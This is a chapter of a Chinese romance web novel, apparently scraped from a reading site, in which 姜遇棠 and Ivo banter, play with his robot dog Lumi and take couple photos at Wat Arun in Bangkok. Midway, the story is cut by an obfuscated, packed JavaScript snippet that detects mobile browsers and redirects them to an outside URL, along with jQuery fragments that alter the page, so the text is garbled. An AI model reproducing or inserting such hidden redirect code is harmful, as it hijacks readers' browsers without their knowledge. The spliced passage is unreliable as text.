Ivo眯眼瞧她,不知她怎么会将话题拐到这儿,察觉到她的意图,又匆匆移开目光,没有回应。
“怎么啦,老公?”姜遇棠想这人的反应还挺逗,好像矜冷自持,又好像带着点儿不好意思?
本来只是想调戏他一下,因着他这个反应,姜遇棠就好像立刻接受了这套在泰国被普遍接受的习俗般,乐呵呵地喊他:“老公。”
Ivo很迷惑地皱起了眉棱。
其实经过一周的相处,又有昨夜的亲密接触,他以为自己已经习惯姜遇棠的各类行为处事方式。他并不反感她的轻佻性格,过去以为是放浪,现在只会当是内心缺失的一类人通过过度表现来谋取一些关注。
然而此刻,他分辨不出她的行为了。
她好像在故意逗他玩,又好像只是自来熟地习惯了这个称呼,开始“老公长,老公短”地喊他。
喊的次数多了,即使是Ivo这般沉静疏离的面容,也稍稍露出了崩裂的痕迹。
而姜遇棠还觉得不够:“拜托,我也是第一次喊人家老公,好吗?配合一点啦。再说,我难道指望能从你嘴里听到‘老婆’这两个字吗?这必定是不可能的,那还不能允许我喊吗?”
Ivo颇为无奈,论口舌之争,他何曾是姜遇棠的对手,又思考不出其他理由,只得配合她。
后来他们又聊了好久,姜遇棠为了表现出对Ivo厨艺的赞赏,解决了餐桌上一半的食物。起初Ivo还紧张她这样吃容易积食,想要阻止,又怕因为昨夜的事,她的确消耗太多,便由着她放纵地吃。
等发现姜遇棠实在吃得过多,再想劝阻,早已来不及。
不过姜遇棠看起来状况还好,还说要领着Lumi消消食。
她带着Lumi在客厅溜达了好几圈,跟逗真实小狗一样逗它,边走边同它说话:“Lumi,你会不会感到饥饿?Ivo每天怎么喂你?”
Lumi:“我不饿,我不需要吃东西。”
姜遇棠:“这样啊,那这很不合理了,即使是机器狗,也该拥有饮食的权利。之后我会向你的设计者提出建议,让他们设计一款适合机器狗的机器狗粮,方便你进食。对了,Lumi,你想上厕所吗?”
Lumi:“我不需要上厕所。”
姜遇棠:“这倒是比普通狗狗方便许多,不过我猜是他们当时忘了给你设计这项功能。”
Ivo:“......”
自娱自乐般溜达了半天,体能恢复不少后,见Ivo一直在他周围活动,姜遇棠以为他今天不需要工作,便问他:“老公,要不要一块儿出去玩?”
尚未习惯这个称呼的老公本人怔了怔,他原计划是先让姜遇棠在家休息几天的,他想让她缓一缓,等身体缓过来,再考虑其他。但她一起床就下楼找他,询问领证的各项事宜,此刻又表现出对出门玩的极大兴趣,倒也不想干涉她太多。
Ivo想了想,问她:“你想去哪儿?”
姜遇棠认真思考:“郑王庙你有去过吗?”
Ivo在曼谷待了这么多年,虽忙,但也不至于哪儿都没去过,他颇为质疑地看向姜遇棠,默然片刻,才说:“当然。”
“那正好了,老公你带路,带我去逛逛啊。”
被唤作“老公”的人并没有提出反对意见,只是在正式出发前,他先去了一趟姜遇棠之前住宿的酒店。
既然决定了要在一起,之后她自然不能再住酒店。
Ivo去给她办理退房,顺道取回行李。
姜遇棠来曼谷只带了一个包包,加之后来购置的衣物,行李物品不算繁多。
他给她带回来换洗的衣物,给她留下梳妆打扮的时间。
姜遇棠在一堆新衣服里挑挑拣拣,随后抬头问Ivo要参考意见:“吊带可以穿吗?”
Ivo垂眸看她。
“不行吗?难道郑王庙也跟大皇宫一样,对服装有要求?”
Ivo走到她面前,拎起她那件过分轻薄的服装。
他发现姜遇棠的衣服不是露腰、露肩、露肚子,就是看着整个跟透明似的,怀疑姜遇棠的审美跟他完全走在两个极端,他倒也不是保守,只是吧......
“穿吊带的话,你身上的痕迹就遮不住了。”Ivo言简意赅。
她慌忙低头去看,又笑着抬头:“你说这个啊,没关系,这我可以用遮瑕挡住。”
选好衣服,Ivo便将剩下的一一挂入他的衣帽间,和他的衣服共处一室,宛然一副女主人光临的架势。
不知为何,到这会儿,他才有一种他们是真的在一起了的实感。
出门时并不算太早,又因为距离加交通堵塞的缘故,到达郑王庙时已是下午13点。
姜遇棠在路上浅浅地搜寻了一下攻略,网友都推荐去郑王庙拍写真,她浅浅地看了几组写真,发现都还不错,加上今天心情好,也决定去试一试。
Ivo把车停在路边,去售票处买了两张票,直接拿在手上,领着姜遇棠去领水、盖戳。
盖完,姜遇棠注意到街上真的有许多来自世界各地的游客,头上别着兰纳发髻,身着泰国传统恰可莉服饰。
她也想试试,碰巧遇到一个大声招呼顾客的店铺,就走了进去,订了服装和发型服务。
跟随工作人员去换装时,Ivo就站在门口等她,时不时就能听到里头传来细微说话声。
姜遇棠:“啊,这样太紧了,我快无法呼吸了。松一点儿,松一点儿吧。”
工作人员:“紧点才好看啦。”
姜遇棠:“这样的嘛?那我要好看,紧就紧吧。”
换完走到穿衣镜前,还真挺满意的,优雅、古典,又非常修饰身形。
Ivo走在前面,姜遇棠跟着他进入郑王庙。
不是国内传统的、金碧辉煌、庄严肃穆的那类寺庙,郑王庙的建筑群本身就与众不同。塔身缀着密密麻麻的碎瓷,上面的花纹繁复冗杂,有素雅的泰国彩釉,也有一些青花瓷,无数陶瓷碎片拼凑出花鸟及神佛。有许多处图像脱落,白墙泛着古朴色泽,足以见得年代久远。
姜遇棠没有来过这里,先是四处兜转了一圈,遇到好看的取景点,就招呼Ivo停下:“我站在这儿,等我摆好姿势,你就摁快门,可以吗?”
说着她就站到一棵苍翠古木前,手支着花纹富丽的砖壁,露出身后隐隐塔尖,让Ivo拿着她的相机负责拍摄。
Ivo并不反感给人拍照,时不时地还会指点一二:“这个位置不错,你的下巴稍稍抬起一些,嗯......这里有些背光,你往左挪两步。”
姜遇棠秉着对丈夫的热爱之情一一配合,眼瞧着他正着倒着举起相机,参考意见也逐渐增加,花活越整越多,心上难免感到不安,提出要过来检查成片。
几十张成片果然难有令她满意的,姜遇棠深吸了口气,还是没忍住对他说:“之前你和我没关系,拍了也就拍了吧。但现在,看到这样的照片,即使我足够爱你,也忍不住想要骂你。”
但最终她也没有骂他,只是微微叹了口气,告诉他:“我想,专业的事还是应当交给专业的人,我们去找个摄影师吧。”
听到姜遇棠并不算严肃的批评,Ivo倒也没觉得气馁,想着或许真的是术业有专攻,看样子之后他需要去系统地学习一下摄影课程,忽听姜遇棠问他:“突然想起我们还没有合照,你要不要也去换一套传统服饰,跟我一起拍?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724764|187205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
Ivo本想拒绝,下一秒,又听她说:“跟我穿情侣装,就当拍婚纱照吧。”
此话一出,他再说不出拒绝的话来。
Ivo去换衣服时,姜遇棠找到了正好有空闲的一名摄影师,和他沟通了拍摄风格和主题、以及期望达到的效果后,双方达成了合作。
男士的服装简单,不出两分钟,Ivo就出来了。
摄影师跟着他们重新回到景区,这一次,姜遇棠已经对场地足够熟悉,也清楚自己想要的成片是怎样的。
确认光线后,他们便进入了拍摄阶段。
Ivo其实不爱拍照,但平时公司内部的宣传照和杂志封面照也没少拍,足够习惯摄像机正对着自己,偶尔听摄影师提出几句指导意见,二人配合得也算得上默契。
整体的拍摄氛围算是融洽,拍到16点时,差不多就已结束。姜遇棠接过相机,开始专注审片。
她开始感叹自己最后敲定由摄影师来掌镜的这个想法实在太有主见,成片在满足她有些挑剔的要求的情况下,还拍出了超绝的异域氛围感。
姜遇棠随意挑了几张照片,放大检查细节,一边赞美摄影师的拍摄水准,一边又忍不住夸赞身侧的男人:“老公,有没有人告诉过你,你的脸特别适合出现在特写镜头下啊?”
他肤白,五官立体,未化妆、毫无修饰的皮肤状态挑不出丁点儿毛病,不用修片都难以找出硬伤,是摄影师最爱的拍摄对象了。
姜遇棠非常满意。
去还衣服时,日头西斜,整条街的游客仍旧络绎不绝。
姜遇棠冷不丁冒出一个念头,问Ivo:“我有一个想法,这条街游客这么多,想必每天都如此。摄影价格跟国内比算得上中规中矩,化妆及造型费却足够便宜,你觉得我在这里成立一家工作室,怎么样?”
“当然,一开始或许会没有生意,要不我把工作室挂你公司旗下?”想了想,顿觉不妥,“算了,万一我声名不好,害你公司股价下跌怎么办?还是算了吧。”
Ivo听她这么说,并没指责她的不着调,反而宽慰她:“我们是夫妻,夫妻利益本身就是捆绑在一块儿的,我不介意你的工作室挂我旗下。”
他像是刚完成某种交.配仪式的独居动物,会把配偶圈进自己的地盘。
但是善良的姜遇棠还是拒绝了他的好意:“这只是一个尚未成型的想法啦,等我研究研究短视频和小X书的宣传机制,到时候去上面招揽生意好了。”
商铺的出口停有许多水果推车,姜遇棠觉得渴,让Ivo给她买了一个椰子。喝了几口,又觉得喝不下了,递还给Ivo:“事实上,我只是想尝尝泰国的椰子和中国的有什么区别。”
“所以,有什么区别?”
“毫无区别,一样好喝,不过太大了,我喝不了了。”
Ivo看了一会儿,伸手接过,就着她喝过的地方喝完了剩余的椰汁。
其实他也说不上有什么区别,但总觉得这儿的椰子味道更甜。
他们沿着沿河路段晃荡了半天,回车上时,姜遇棠已经感到了丝丝疲惫。
路上,Ivo接到一个工作电话,同各部门开了一个不长不短的电话会。
姜遇棠不便打扰,就安安静静地靠坐在椅背上,等Ivo回头看她时,她已经睡着了。长长的睫毛垂在眼皮下端,像排列整齐的绒毛,睡得安静而温柔。
Ivo深知她今日十分疲惫,便将车开得又稳又慢,深怕惊醒她。
只是到了院里,车刚停下,姜遇棠立马就醒了,睁着迷蒙睡眼看他,似神思尚未清醒。
Ivo轻声对她说:“到家了。”
她便乖乖地跟着他下了车,回了房间。